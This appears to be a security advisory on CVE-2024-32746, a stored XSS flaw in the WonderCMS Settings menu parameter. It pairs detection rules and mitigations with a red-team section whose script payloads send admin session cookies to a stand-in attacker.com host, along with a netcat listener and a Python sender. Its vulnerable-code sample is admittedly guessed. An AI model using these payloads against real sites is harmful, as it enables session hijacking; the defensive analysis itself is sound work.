CVE-2024-32746

Executive Summary

CVE-2024-32746 is a stored Cross-Site Scripting (XSS) vulnerability discovered in WonderCMS v3.4.3, specifically within the Settings section under the Menu module. An attacker can inject arbitrary web scripts or HTML into the MENU parameter, which is then stored and executed in the context of an administrator's browser session. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released by the vendor as of this report.

Supply Chain & Package Security

WonderCMS is a flat-file PHP content management system distributed via GitHub and its official website. There is no NPM, PyPI, Go, or Ruby package associated with this CMS. The risk is limited to direct installations of the vulnerable version (3.4.3). Users should monitor the official repository for any future patches.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must visit the Settings page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires social engineering to lure an admin to a crafted link, but the impact can be severe if combined with privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the menu parameter within the Settings section of WonderCMS. The application fails to sanitize or escape user input before storing it in the database (flat-file JSON). When the admin views the Settings page, the stored payload is rendered without proper encoding, allowing arbitrary JavaScript execution.

Root Cause: Lack of output encoding in the menu parameter rendering. The code likely uses echo $menu; or similar without htmlspecialchars().

Attack Flow:

1. Attacker crafts a malicious URL: http://target.com/settings?menu=<script>alert(1)</script>
2. Admin clicks the link (or is tricked via CSRF).
3. The payload is stored in the CMS configuration.
4. When the admin navigates to the Settings page, the script executes in their browser.
5. Attacker can steal session cookies, perform actions on behalf of the admin, or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS v3.4.3):

// In settings.php or similar
$menu = $_GET['menu'] ?? '';
// ... save to config file
// When rendering:
echo "<div class='menu'>$menu</div>";

Patched Code (Hypothetical):

$menu = htmlspecialchars($_GET['menu'] ?? '', ENT_QUOTES, 'UTF-8');
// ... save to config file
// When rendering:
echo "<div class='menu'>$menu</div>";

Key Difference: The patched version uses htmlspecialchars() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WonderCMS v3.4.3 installed
• Admin session (or ability to lure admin)

Exploit Payload:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Step-by-Step:

1. Host a listener: nc -lvnp 80
2. Craft URL: http://target.com/settings?menu=<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>
3. Send to admin via phishing email or social media.
4. When admin visits Settings, cookie is exfiltrated.

Automated Exploit (Python):

import requests

target = "http://target.com"
payload = "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>"
url = f"{target}/settings?menu={payload}"
# Requires admin session cookie
cookies = {"PHPSESSID": "admin_session"}
r = requests.get(url, cookies=cookies)
print("Payload sent. Check listener.")

Blue Team

Detection:

• Monitor for unusual menu parameter values containing <script>, <img>, or onerror events.
• Alert on outbound connections to unknown domains from admin browsers.

Hunting Query (Splunk):

index=web sourcetype=access_combined uri_path="/settings" uri_query=*menu*
| rex field=uri_query "menu=(?<menu_param>.*)"
| where match(menu_param, "<script|<img|onerror|onload")
| table _time, src_ip, uri_query, menu_param

Mitigation:

• Apply input validation and output encoding.
• Use Content Security Policy (CSP) headers.
• Restrict admin access to trusted IPs.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from admin browsers.
  • Suspicious menu parameter values in logs: <script>, <img src=x onerror=...>, javascript:.
• File:
  • Modified config.php or settings.json containing script tags.
• Behavioral:
  • Admin session cookies being sent to external IPs.
  • Unexpected changes to site content or settings.

Detection Engineering

YARA Rule

rule CVE_2024_32746_WonderCMS_XSS {
    meta:
        description = "Detects XSS payload in WonderCMS menu parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-32746"
    strings:
        $xss_payload = /menu=<[^>]*script[^>]*>/
        $xss_event = /menu=<[^>]*on\w+\s*=[^>]*>/
    condition:
        any of them
}

Sigma Rule

title: WonderCMS Menu Parameter XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts against WonderCMS menu parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: "menu="
    keywords:
        - "<script"
        - "<img"
        - "onerror"
        - "onload"
        - "javascript:"
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in menu (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32746 WonderCMS XSS Attempt"; flow:to_server; content:"/settings"; http_uri; content:"menu="; http_uri; pcre:"/menu=<[^>]*(script|on\w+\s*=)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately.
2. Manual Patch: Edit the vulnerable file (likely settings.php) and wrap the $menu variable with htmlspecialchars().
3. WAF Rule: Deploy a Web Application Firewall rule to block menu parameter containing <script> or event handlers.
4. CSP Header: Add Content-Security-Policy: script-src 'self' to prevent inline script execution.

Long-Term:

• Implement a security review process for all user inputs.
• Use parameterized output encoding consistently.
• Monitor the WonderCMS GitHub repository for official patches.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Analyst